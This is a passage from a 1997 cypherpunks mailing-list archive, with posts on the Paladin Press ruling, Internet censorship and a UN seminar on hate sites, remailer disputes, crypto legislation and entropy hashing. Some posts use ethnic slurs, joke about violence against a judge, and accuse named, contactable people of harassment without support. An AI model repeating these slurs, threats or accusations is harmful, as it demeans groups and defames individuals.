a following post that explains why Nina Crowley is a drug-dealing,
terrorist pedophile.
  No doubt there are those ready and willing to 'save' us all from
Ms. Crowley's erronious facts/opinions, as well as those who are
equally ready and willing to 'save' us from those of her detractors.
  If we allow our 'saviours' to throw as many concrete lifesavers
to us on the InterNet as we have allowed those in government and 
society to do, to date, it won't be long until there is nothing
left to save.

  The 'Tree of Liberty' has a lot of branches, and I, for one, do
not plan to hang alone. I've got a rope, too...

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Nov 1997 09:01:30 +0800
To: cypherpunks@toad.com
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <v0310280cb08e6e08c8f3@[207.167.93.63]>
Message-ID: <F851Fe2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> >On the other hand, Tim, I suppose, there *is* Bosnia as a prima facie
> >counterexample, and I bet that *that* little fandango probably started with
> >a bunch of "freedom fighters" like the one you fancy yourself to be these
> >days.
>
> More typical Bob Hettinga insult arguments. You ought to form a club with
> Kent Crispin, Detweiler, and Vulis.

No, thanks.

(I think Detweiler is cool, but I wouldn't want to be in any club with
either Hettiga or Crispin :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "burn81@hotmail.com" <burn81@hotmail.com>
Date: Wed, 12 Nov 1997 02:29:08 +0800
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <3468A1E3.372CC4C9@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jean-Francois Avon" <jf_avon@citenet.net>
Date: Wed, 12 Nov 1997 11:28:44 +0800
To: "tcmay@got.net>
Subject: Y2K: Canada status?
Message-ID: <199711120328.WAA14485@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



Please reply to my personnal address, I am not on CPunks.

Is there anybody who knows about the Y2K situation in Canada?

Should we infer that the situation will be the same here or were any preparation steps 
taken by out govt that will postpone our contry's alledged fall by 2 microseconds (time for 
any major economic catastrophy in the US to reach us here)

Ciao
jfa

       "You'd better get it straight that it's not a bunch of boy scouts you're
       up against -- then you'll know that this is not the age for beautiful
       gestures. We're after power and we mean it. Your fellows were pikers,
       but we know the real trick, and you'd better get wise to it. There's no
       way to rule innocent men. The only power any government has is the power
       to crack down on criminals. Well, when there aren't enough criminals,
       one makes them. Once declares so many things to be a crime that it
       becomes impossible for men to live without breaking laws. Who wants a
       nation of law-abiding citizens? What's there in that for anyone? But
       just pass the kind of laws that can neither be observed nor enforced nor
       objectively interpreted -- and you create a nation of law-breakers---and
       then you cash in on guilt. Now that's the system...that's the game, and
       once you understand it, you'll be easier to deal with."
 
Ayn Rand





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 12 Nov 1997 08:57:44 +0800
To: cypherpunks@toad.com
Subject: Re: Content controls
In-Reply-To: <v0310280db08e8afb9644@[207.167.93.63]>
Message-ID: <8k61Fe4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> writes:
> Even purely digital works are easily copied. Even unique IDs per software
> piece are easily removed (e.g., by having N customers compare and diff out
> the noncommon bits).

About 15 years ago I was trying to break the code in some software
distributed by some Canadian folks... (It was cheap to buy, and
I was doing it for fun.) Basically, every customer's executables
were almost completely different because they were encrypted with
a totally different key and decrypted at runtime.  The trick was to
disassemble the decryption code and to compare the decryption
results from two copies to see where the customer name was embedded.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Wed, 12 Nov 1997 11:57:51 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Matters of Law
In-Reply-To: <v03102809b08e40f2313f@[207.167.93.63]>
Message-ID: <v03007803b08ed102700f@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:17 AM -0800 11/11/97, Tim May wrote:

>
>I expect the Paladin Press case will go to the Supreme Court now. I hope it
>does, at least. And it'll be interesting to see if the ACLU supports a
>politically incorrect case like this.
>
The 4th Circuit dec'n in Paladin is up on the FindLaw site, though when I
got it this morning parts of it were mixed up -- some footnote material got
into the body of the opinion.


These are among the amici on the appellate brief.  I'd guess they all
weighed in on Paladin's side.  It's a "publisher's rights" case -- not that
tough to pick sides.

AMERICAN CIVIL LIBERTIES UNION FOUNDATION; AMERICAN
CIVIL LIBERTIES UNION OF THE NATIONAL CAPITOL AREA; AMERICAN CIVIL LIBERTIES
UNION OF COLORADO; ABC, INCORPORATED; AMERICA ONLINE, INCORPORATED;
ASSOCIATION OF AMERICAN PUBLISHERS; THE BALTIMORE SUN COMPANY; E.W. SCRIPPS
COMPANY; FREEDOM TO READ FOUNDATION; MAGAZINE PUBLISHERS OF AMERICA,
INCORPORATED; MCCLATCHY NEWSPAPERS, INCORPORATED; MEDIA GENERAL, INC.; MEDIA
PROFESSIONAL INSURANCE; NATIONAL ASSOCIATION OF BROADCASTERS; NEWSPAPERS
ASSOCIATION OF AMERICA; THE NEW YORK TIMES; THE REPORTERS COMMITTEE FOR
FREEDOM OF THE PRESS; SOCIETY OF PROFESSIONAL JOURNALISTS; THE WASHINGTON
POST

Lee Tien






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 12 Nov 1997 03:27:52 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: NoneGary Burnore, Paul Pomes, and the DataBasix Gang (was: Re: Remailer hating Nazis)
Message-ID: <199711111830.TAA27254@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) wrote:

> >I'm familiar with the role of Gary Burnore <gburnore@netcom.com> and that
> >of his DataBasix associates Belinda Bryan <eridani@ix.netcom.com> and Billy
> >McClatchie (aka "Wotan") <wmcclatc@primenet.com> in getting the Mailmasher
> >and Huge Cajones remailers shut down.  Jeff Burchell posted a public
> >expose' of their harassment to Usenet back in June, apparently catching the
> >DataBasix folks off-guard.  But what's the story with Paul Pomes?  What has
> >he done?
>  
> Paul Pomes was complaining about Jeff Burchell's huge cajones remailer to Jeff
> Burchell's upstream and employers about the same time the rest of the Databasix
> gang was doing it.  Paul Pomes appears to be a part of the Databasix gang.

It's sort of ironic that these anti-privacy, anti-anonymity Nazi wannabes
complain about remailers which give their users privacy, then somehow expect that 
their own complaints will be kept hidden.  I rather syspect that Gary Burnore, 
Belinda Bryan, and Paul Pomes were rather shocked when Jeff Burchell decided to 
tell the whole story (unfortunately AFTER shutting down the Huge Cajones remailer).

Maybe the next time Gary, Linda, or Paul send a remailer operator a complaint,
the operator will know what to expect next.  I'm wondering if that's at least
part of what's behind the faux spam-baiting that's underway, with messages to
varios MMF, MLM, and alt.sex.* NGs whose title and body consist of randomly-
chosen words, followed by a list of bogus e-mail addresses in the body.  The
thing that's not so random is the high percentage of words that are related to
DataBasix, such as "DataBasix", "Burnore", and "Wotan".  I'm almost waiting for
Gary Burnore to give the remailer and mail2news operators a "helpful" suggestion
that they could curb most of this "abuse" by simply blocking any anonymous
posts containing any of those three keywords. <g>  Or perhaps he's done so and
politely been turned down.

Perhaps the next wave of attacks on remailers will not consist of attempts to
shut them down altogether but to progressively cripple them by getting certain
features disabled, one by one.  This seems to have already started.  The strategy
seems to be to fabricate a form of "abuse", anonymously through remailers, for
which the seemingly "logical" solution is to disable a certain feature.  This has
already proven successful with header pasting, for example.  Now you can't post
to Usenet and set the From: address to that of your own 'nym.  I'm not even
certain that you can set a Reply-To: address any more.  If the "camel" can get
his nose under the tent and convince operators to start filtering on the *CONTENT*
of the Subject: line or body of usenet posts, the anti-privacy nuts will have
scored a major victory.  In fact, from reading Jeff Burchell's posts, it looks like
Gary and his DataBasux-ers had initially convinced Jeff to do exactly that.  But,
in a symbolic victory for freedom of speech, he removed those filters for a week
before he finally shut down Huge Cajones altogether.
     
> >Perhaps the best thing that can be done with people like Burnore is to put
> >together an FAQ about their tactics, similar to what his "fans" have done
> >for the "Rev." Steve Winter.  Then when Burnore tries to stir up trouble by
> >first fabricating anonymous "abuse" and then demanding that it either be
> >stopped and the culprit(s) identified (knowing in advance that's
> >impossible), or else that the remailer be shut down, someone can forward
> >that FAQ to the remailer's upstream provider, or whoever is being pressured
> >to pull the plug.  And if Paul Pomes engages in the same dishonest tactics,
> >that needs to be done with him as well.
>      
> Gary Burnore had a mongo page at http://www.netscum.net/burnorg0.html.
> So did Paul Pomes, Belinda Bryan, and the rest of the Databasix gang.
> Too bad it's down for now, but it'll be back.

It's already back, for the time being.  The new URL is:

   http://www.spambusters.dyn.ml.org/www.netscum.net/burnorg0.htm

I'll go look for Paul Pomes' page at that site.  Thanks for the tip!  Let's
see how long that site stays in operation before the self-styled "Thought
Police" attempt to shut it down.

--
Without censorship, things can get terribly confused in the public mind.

 -- General William Westmoreland   





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Wed, 12 Nov 1997 10:25:52 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Washington Post on dangers of self-censorship for the Net
In-Reply-To: <v03007804b08e94374f6b@[168.161.105.216]>
Message-ID: <34690F26.7819@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> The Washington Post
> November 10, 1997
> EDITORIAL; Pg. A20
> 'Self-Regulation' and the Net
> 
>    CLOSE WATCHERSs of the long-running TV ratings fight could read it as a
> series of tussles over exactly how far the government can go in pushing the
> proprietors of an expressive medium -- such as TV -- to curb that
> expression through "voluntary" action. When do carrot-and-stick become just
> stick? That story isn't over yet: Congress, though antsy, has so far
> managed to stay on the safe side of the line that separates pressure from
> outright censorship, and the different responses of different networks is
> ironic proof that the policy isn't completely coercive. But those who want
> to see yet more variations on the theme can watch the whole pattern play
> out again in White House efforts to encourage self-regulation on the
> Internet.

  On the InterNet the patterns will be Global, which means the censors
will have to act Globally (United Nations / New World Order), divide up 
the international pie into geopolitical slices, or a combination of
both.

  The InterNet and TV are not going to be separate entities for very
long, and the same applies to phones, faxes, etc.
  As a Canadian, I am 'allowed' to see bare tits on TV, even in prime
time on News Channel shows such as 'Fashion File.' I am not, however,
allowed to express hate toward coloreds, kikes, ragheads, wagon burners,
or left-handed people in general, on the InterNet. As an American, the
situation seems to be reversed.
  In the globalization of the combined media, it seems logical to assume
that the result will be either _both_ of the above being 'allowed,' or
_neither_ of them being 'allowed.' We can expect that the inanities and
injustices which take place on a regional basis, at present, will be
taking place on a global basis, in the future, with the Jackboots of
fascist censorship being wielded in bizarre and random ways.

  If a person in Utah (?) can be prosecuted for a child in another state
accessing material that is consided 'illegal' a thousand miles away,
then everyone who puts a picture of a female with her ankles showing
on the InterNet can potentially be prosecuted by Iraq. (In reality,
only our Iranian allies, not our Iraquian enemies, would be allowed
to exercise this 'right.')
  Anyone who disputes the above possibility should ask themselves if
they have more oil than Iran. History contains manifold examples of
the citizens being nothing more than pawns in the rulers games of
power and wealth.
  (Hell, the government doesn't even give a fat rat's ass about the
   medical problems of the citizens who went overseas to defend our
   source of foreign oil.)

 >    The administration, after coming to grief over its dogged support
for
> the unconstitutional Communications Decency Act, now takes the position
> that it's up to software providers, parents and citizen groups to make the
> Internet safe for children, though the government has a beefed-up role to
> play in enforcing existing laws in cyberspace, for instance, those against
> child pornography, stalking or harassment. As an accompaniment, though, it
> is putting considerable public pressure on Internet players to develop a
> system of ratings and "taggings" for sites that would allow parents to sort
> Internet access by a few broadly agreed-upon categories.

  In preparation for the justice system to point out that 'everbody
agrees'
that you and I are criminals.
  "We don't want to 'take' your guns, we just want to 'register' them,
for
your protection."
  We have fallen for the "taking your freedom, privacy and rights away
for
your own protection--an inch at a time" scam time and time again. If we
allow it to be done on the InterNet, it will be for the _last_ time.

  We are now dealing with GLOBAL rights and freedoms. This is very
important
to understand! We are not talking about our rights as an American, our
freedom as a Canadian, our privacy as an African. We are talking about
our rights and freedoms as a human being! 

> Ira
> Magaziner, the administration point-person on Net issues, took a different
> tone in a speech to Internet advertisers. The "tremendous economic
> benefits" of the Net won't work, he said, "if we don't get efficient
> industry self-regulation on issues like privacy and content. . . . If you
> fail, we will have to go the legislative route. That gets caught up in the
> political process and will be less rational and efficient."

  Translation~~"How dare you call it Jackboot Fascism if we promise only
to kick you if you don't comply?"

>    Well, yes -- and also less legal. Don't get us wrong: Self-restraint, in
> some of these cases, is a pretty good place for the providers of what's now
> called "content" to end up. But the line between urging self-restraint and
> threatening government censorship is a thin one. The White House, no less
> than Congress, needs to watch its step.

  The self-restraint should be applied by the children and their
parents.
Try defending yourself in any court of law by claiming that the fault
lies with others for not restraining you from breaking into their house
while they were gone, from not having better theft-protection for their
automobile.
  How have we come to the point where a burglar can sue you for falling
down your basement steps? How have we come to the point where a cop can
arrest you for sleeping in your car instead of driving drunk? How have
we come to the point where someone a thousand miles away can purposely
access your personal web site in order to have you imprisoned for
doing something which is perfectly legal in your physical location,
and many others?

  The bottom line is that censorship and fascism are going Global, in
all its forms, and this will only result in our falling under an ever
increasing multitude of laws, regulations, prohibitions and taboos.
  Whenever something is allowed in one physical space and prohibited
in another, the chances are that the merger/interaction of those
spaces will result in prohibition, or restriction (followed by
prohibition).

  This time the fight is Global. It is for ALL of the marbles!

  As always, 'they' only want Austria...'they' only want the dangerous
guns...'they' only want the Jews...'they' only want to prohibit nude
pictures of people under the age of 16...18...20...50...100.
  'They' only want to take away the freedoms and rights of the 'bad' 
people. Are you going to allow them to do that, indiscriminately,
without a fight, because _you_ are not one of the 'bad' people...today?

  You don't live in Austria, you don't own guns, you are not Jewish
and you have no nude pictures, so you are safe...for now.
  However, if your ankles are showing, or your head is uncovered...
tomorrow...

  'They' are going to think regionally, and act globally. Count on it!

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jon Leonard" <jleonard@divcom.umop-ap.com>
Date: Wed, 12 Nov 1997 12:26:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Secure Hashing for Entropy
In-Reply-To: <199711112344.PAA18932@sirius.infonex.com>
Message-ID: <9711120417.AA10746@divcom.umop-ap.com>
MIME-Version: 1.0
Content-Type: text



Monty Cantsin wrote:
> Often we have a source of entropy whose output we use as the input to
> a secure hash function.
> 
> Does it matter if the hashing function is secure?  I don't think so.
> All that really matters is that the function hashes evenly so that any
> input string is about as likely as any other input string to result in
> a particular hash.  Even if the hash function is weak and collisions
> can be found, if it is even the same level of entropy is still
> available.
> 
> Have I got this right?

In the case where:
1) Your entropy source is as good as you think it is
2) Your opponent knows nothing about the data from your entropy source
and
3) Your entropy mixes the way you expect it to.

this is indeed the case.

If you're not completely sure about the above, using a cryptographic
hash requires your hypothetical opponent to be able to reverse the hash
to exploit what they know, rather than simpler computations.

Since it seems that paranoia pays off in the design of cryptographic
software, I'd recommend always using a strong hash.

Jon Leonard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Wed, 12 Nov 1997 06:39:48 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <72R+hx1gRrVqJIcQoAlFog==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



nospam-seesignature@ceddec.com writes:

> I believe in separation of church and state.  The state must get out of
> things like education and welfare (charity) and other things that are not
> their responsibility.
> 
> The mistake was when the courts ruled that prayer could not occur in
> public (government) schools.  The very next day, every government school
> should have been closed down (this would also have shown the court that it
> should be careful with its rulings).  And society would not have
> experienced as much decay as it has. 

Amen!  I remember when as a young teacher I used to lead my third grade
class in our daily devotional to Ba'al and Ishtar.  It got everyone off 
to a good start and kept us grounded in proper moral values throughout 
the school day.  (Of course every year there was some small group of 
malcontent parents pissing and moaning about this and wanting me to lead 
the class in Christian prayers!  Can you imagine?)

Society just hasn't been the same since.  Everything's going to hell
in a hand basket.


--
Ba'al-Boy






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 12 Nov 1997 10:07:45 +0800
To: nobody@replay.com (Anonymous)
Subject: Re: 1st Ammendment Tossed in Paladin Case
In-Reply-To: <199711112359.AAA07968@basement.replay.com>
Message-ID: <v0300780cb08eb84bcb02@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



At 00:59 +0100 11/12/97, Anonymous wrote:
>  It is a fact that we tend to narrow our range of perception when we
>get involved in any cult/religion/organization and bestow some of our
>own innate responsibility/authority upon them. Once separated from
>the group, however, we then tend to regain more control over our
>individual beliefs and values, whereupon we are more likely to recognize
>where we stepped beyond or own moral/ethical values while caught up,
>to whatever extent, in 'group mind.'
>  This has been discussed on the list (e.g. Declan goes to Washington!)

Heh. It's been discussed but no findings of fact have been made.

Ever since I moved back to Washington (I've lived here twice before) to
take a job as a political Net-reporter, my social circle has included many
folks with similar political beliefs. There's my S.O., who's an "Abolish
the FCC" Net and telecommunications lawyer. The Cato soccer team I'm on. My
friends, many of whom are involved in (or at least care about) issues like
crypto.

And there's also the more interesting question of the cypherpunks list as
an organization that influences the political stances of its participants.
If I hadn't been a cypherpunks subscriber for three years or so, would my
political beliefs be the same? I'm not sure.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 12 Nov 1997 04:13:53 +0800
To: cypherpunks@toad.com
Subject: Re: Matters of Law
Message-ID: <199711111952.UAA07672@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>It is often claimed (here, too) that "anyone may sue." This is true. Just
>pay a filing fee, etc., and anyone can sue. Alice can sue Bob because he is
>reading "War and Peace." I can sue Suzie because I didn't like the color of
>the dress she wore. And so on, so the theory goes.

YMMV, depending on locality. Some places require a lawyer to certify that the
lawsuit has (in hir opinion) at least a reasonable chance of succeeding. That
may not apply in small claims court, tho.

>(And the courts have even taken steps against those who have filed many
>frivolous lawsuits with the apparent intent of harassment. )

They can go after the aforementioned lawyers for this, too. One of Scientology's lawyers, Helena ("The Kobra") Kobrin, has been sanctioned for filing frivolous lawsuits on behalf of that cult.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 12 Nov 1997 11:02:50 +0800
To: users@ssz.com (SSZ User Mail List)
Subject: UN Conference - Limits on Internet speech [CNN]
Message-ID: <199711120300.VAA00603@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                U.N. CONFERENCE DEBATES LIMITS ON INTERNET SPEECH
>                                        
>      Internet racism graphic November 11, 1997
>      Web posted at: 9:14 p.m. EST (0214 GMT)
>      
>      GENEVA (AP) -- Concerned at the growing use of the Internet for
>      racist propaganda, international experts are debating how -- and
>      whether -- to combat the spread of computerized hate messages.
>      
>      Binding global controls on the Internet are unlikely, officials said
>      Tuesday, since the technology is changing faster than rules can be
>      made, and because of free speech protection in the United States.
>      
>      The United Nations is sponsoring a week-long meeting of human rights
>      activists, government officials and Internet service providers as
>      part of efforts to ensure compliance with an international treaty
>      banning racial discrimination. It ends Friday with a list of
>      recommendations.
>      
>      "There are 148 countries who have accepted this convention and they
>      are under obligation to enact measures to implement it," said Agha
>      Shahi of Pakistan, a member of the U.N. Committee on the Elimination
>      of Racial Discrimination.
>      
>      "Are we going to say the Internet should be exempt from any kind of
>      compliance with the rules of international behavior?" he asked.
>      
>      It is widely agreed that the Internet offers an open platform for
>      racists and white supremacists, although nothing has proved this
>      leads to a related rise in racist incidents.
>      
>      Much of the problem stems from the United States, where groups such
>      as the Ku Klux Klan, the Aryan Nations and skinheads base their Web
>      sites.
>      
>      Under the U.S. Constitution, which guarantees free speech, these
>      groups are permitted to post their views on the Internet, which can
>      be accessed by people in other countries.
>      
>      Although European countries like Sweden have moved toward making
>      Internet service providers responsible for the content they supply,
>      such restrictions are unlikely in the United States, and hence,
>      internationally.
>      
>      "In our tradition, it is only through the clash of views in vigorous
>      debate, and not through government censorship, that equality is well
>      served," Philip Reitinger of the U.S. Department of Justice said at
>      the U.N. meeting. "That principle -- one which accords freedom of
>      expression the highest respect -- applies with equal force to the
>      Internet."
>      
>      While the U.S. computer industry is voluntarily working on ways to
>      ensure that computer smut isn't accessible to minors, Eric Lee, of
>      the Internet service provider Commercial Internet eXchange, said it
>      was "not feasible and not desirable" for Internet providers to act
>      as censors.
>      
>      "It's difficult if not impossible to suppress content on the Web
>      because there are so many ways to evade controls," Lee said. "Which
>      does not mean that one should not take steps to limit behavior, but
>      coming up with foolproof controls is virtually impossible."
>      
>      Copyright 1997   The Associated Press. All rights reserved. This
>      material may not be published, broadcast, rewritten, or
>      redistributed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 12 Nov 1997 10:14:58 +0800
To: cypherpunks@toad.com
Subject: FRB Crypto Systems
Message-ID: <1.5.4.32.19971112020047.00a4d1e0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Federal Register, November 10, 1997

Excerpt from a Federal Reserve Bank announcement:

      ... the Reserve Banks plan to change their policy 
for ownership of the encryption boards used by depository 
institutions with dial and multi-drop connections. These 
encryption boards are currently purchased and owned by the 
depository institutions. With the replacement of the 
encryption boards beginning in the second half of 1998 to 
enhance the security of the Federal Reserve's communications 
network, the Reserve Banks plan to purchase and assume 
ownership of these boards. This approach is consistent with 
Reserve Bank ownership of other equipment at depository 
institutions that is required for electronic connections to 
the Federal Reserve, specifically link encryptors and 
signaling equipment. Reserve Bank ownership should improve 
management of the security of the network and facilitate the 
implementation of an all-electronic key distribution system. 
This change in policy may affect future-year electronic 
connection fees, as priced services must recover depreciation 
costs associated with the new encryption boards.

----------

Are these systems related to Kawika Daguio's comments on
PCCIP forwarded by Declan yesterday? Anyone have more
detailed info on the boards and link encryptors?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Herngaard <pethern@inet.uni2.dk>
Date: Wed, 12 Nov 1997 04:29:16 +0800
To: Lizard <lizard@mrlizard.com>
Subject: Re: 1st Ammendment Tossed in Paladin Case
In-Reply-To: <3.0.1.32.19971111115626.00cf2150@dnai.com>
Message-ID: <Pine.3.89.9711112118.A5630-0100000@inet.uni2.dk>
MIME-Version: 1.0
Content-Type: text/plain



This ruling is interesting.
Does the First Amendment jurisprudence generelly require strict scrutiny in 
civil as it does in criminal action?
In other words, does a plaintiff in a civil case have to prove that the 
statement was intended  to incite imminent lawless action 
to recover damages like the goverment in a criminal case?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Wed, 12 Nov 1997 04:49:39 +0800
To: marshall@ibm.net
Subject: Re: Mixmaster Port Question
In-Reply-To: <199711110014.AAA30800@out2.ibm.net>
Message-ID: <m0xVMm4-0003bcC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



>The DOS version of Mixmaster requires Private Idaho.  Does a more
>generic version, not dependent on Private Idaho, exist?

It can also be used with Potato or as a stand-alone command line
program.  I would more or less expect that it also runs under OS/2.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 12 Nov 1997 10:47:13 +0800
To: cypherpunks@toad.com
Subject: Re: More Crypto Statements
Message-ID: <v0300780db08ebbefa606@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



What explains this flurry of crypto-statements on the floor of the Senate
on Saturday and Sunday?

Simple: Our elected representatives had nothing else to do.

By late Sunday evening, the vote over fast-track had been postponed ten
times as union and corporate lobbyists jockeyed for position with the White
House for votes. While smoke was filling the back rooms of the Capitol,
members had nothing else to do but twiddle their thumbs. Debate
noncontroversial legislation. Recount election battles. And pledge loyalty
to strong crypto.

Of course increased (or at least more effective) industry lobbying had
something to do with the floor statements. These sorts of brief speeches
are a sign of a well-honed lobbying campaign.

Note, BTW, the tone of the Senate statements. The defeat of Burns' ProCODE
bill in the Senate means that crypto-proponents are on the defensive.
Murray is forced to say S.909 (McCain-Kerrey) "does not go far enough" in
lifting export ctrls -- true, since it also sets up a key escrow
infrastructure. There is no pro-crypto bill in the Senate now for
crypto-advocates to rally around. (Leahy's is a key escrow wishlist.)

Also note that Dreier's statements are significant: "Congress should lift
the controls on encryption software" and not move towards mandatory key
escrow. He is a senior member of the House Rules committee, which will pass
judgement on and reconcile the five versions of SAFE sooner or later. One
of those versions is the FBI-friendly one with restrictions on manufacture,
distribution, and sale of unapproved crypto products.

-Declan


At 20:20 -0500 11/10/97, John Young wrote:
>Declan, anyone, is this flood of statements due to an
>industry campaign, or one by Majortiy Leader Lott,
>or Speaker Gingrich, or a combination, or what?
>
>What's your insider intel, Declan, will these initiatives continue
>into the next session or are they just cheap dues paying
>for the moment, while getting ready to sellout when the
>rain of if-you-knew-what-we've-been-briefed shit showers
>down next year?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Wed, 12 Nov 1997 22:00:41 +0800
To: cypherpunks@toad.com
Subject: Re: 1st Ammendment Tossed in Paladin Case
Message-ID: <d03fa8451863be05cb9a3731414eb94b@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> Tim May wrote:
> > The judge in this case has committed a capital crime.
 
> Better have our fearless leader, Jim Bell, convene a Melatonin People's
> Court, immediately. (The rest of you guys signed and returned the
> 'secret oath' that Jim sent last week, too, didn't you?)
> 
> :: B o o t s

Bye, Boots. It's been nice knowin' ya.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 12 Nov 1997 11:31:49 +0800
To: cypherpunks@toad.com
Subject: U.N. conference on "hate sites" on the Internet
Message-ID: <v03007808b08ece61be45@[168.161.105.216]>
MIME-Version: 1.0
Content-Type: text/plain



[I've attached the conference agenda below. --Declan]

*************

Experts tell U.N. conference 'hate' sites on Internet may be here to
stay

Reuters

GENEVA (November 11, 1997 2:47 p.m. EST http://www.nando.net) -
Internet hate sites, such as one urging "Aryan brothers and sisters
... to combat racially inferior
parasites," are unlikely to be stamped out because this would limit
freedom of speech, experts said Tuesday.

The need to respect free speech, as well as the sheer size of the
task, emerged at a United Nations seminar as the two main obstacles
to eradicating such material.

The issue has become more pressing as the number of online hate sites
soars and racism, neo-Nazism and anti-Semitism, find new niches on
the Internet, speakers at the meeting said.

But there is no easy answer to the question: who decides what is
offensive on the Internet?

"In Europe, it would be racist to say, 'I don't like Arabs.' In the
United States, we can say 'I don't like Arabs, I don't like pink
people.' Under freedom of expression, it's not against the law," said
Debra Guzman, executive director of the U.S.-based Human Rights
Information Network.

"You can't ban this in the United States," she told a news
conference.

One problem is that Internet technology itself cannot distinguish
between the offensive and the non-offensive, said Eric Lee, public
policy director at the U.S. Commercial Internet Exchange.

[...]


*************

     Dear Madam/Sir,

        I have the honour to inform you that within the framework of the
     implementation of the Programme of Action for the Third Decade to
     Combat Racism and Racial Discrimination, in pursuance of General
     Assembly resolution 51/81, the High Commissioner for Human Rights will
     organize a seminar on "The role of Internet with regard to the
     provisions of the International Convention on the Elimination of all
     Forms of  Racial Discrimination".

        The purpose of the Seminar which will take place in Geneva from 10
     to 14 November 1997 and bring together experts on the subject matter,
     representatives of governments, Internet Service Providers, and
     representatives of non-governmental organizations, is to find ways and
     means to ensure a responsible use of the Internet in the light of the
     International Convention on the Elimination of all Forms of Racial
     Discrimination.


        The draft agenda of the meeting reads as follows:

                (a)     Racism and Racial Discrimination on Internet

        (b)     Technical Aspects of screening racist propaganda on
     Internet:
                1.      National Measures
                2.      International Measures

        (c)     Prohibition of racist propaganda on the Internet. Juridical
     Aspects:
                1.      National Measures
                2.      International Measures

        (d)     Elements for an eventual Code of Conduct and good practice
     for displaying material on Internet

                (e)     Recommendations.

                                                       /...
     #012#

        I am very pleased, on behalf of the Secretary-General, to invite
     your Organization to send an observer to the seminar. In order that
     the necessary arrangements concerning conference facilities may be
     made in advance,  I would be grateful to receive his or her name by 30
     October 1997 at the latest. Under existing arrangements, your
     Organization would be expected to bear the costs of its
     representative.

                        I am attaching to this letter, for your
     convenience, a briefing note relating to the seminar.

                                   Yours sincerely,







                                        John Pace

                                  Chief
                                Research and Right to
                                          Development Branch








     ______________________________________________________________________

        IMPLEMENTATION OF THE PROGRAMME OF ACTION
        FOR THE THIRD DECADE TO COMBAT RACISM
        AND RACIAL DISCRIMINATION



        SEMINAR ON THE ROLE OF INTERNET WITH REGARD TO THE PROVISIONS
     OF THE INTERNATIONAL CONVENTION ON THE ELIMINATION
     OF ALL FORMS OF RACIAL DISCRIMINATION


        Geneva, Palais des Nations
        10-14 November 1997



        PROVISIONAL AGENDA




     Monday 10 November

     Morning

10:00 - 13:00           Opening of the Seminar

                        -       Welcome address by High Commissioner for
Human
Rights
                        -       Election of the Bureau (Chairperson,
Vice-Chairperson, Rapporteur)
                        -       Adoption of the agenda
                        -       Organisation of work

Afternoon               Working session I

15:00 - 18:00           Item I: Racism and Racial Discrimination on Internet

                         -      Keynote address by Ms. Debra Guzman,
                                Executive Director
                                The Human Rights Information Network
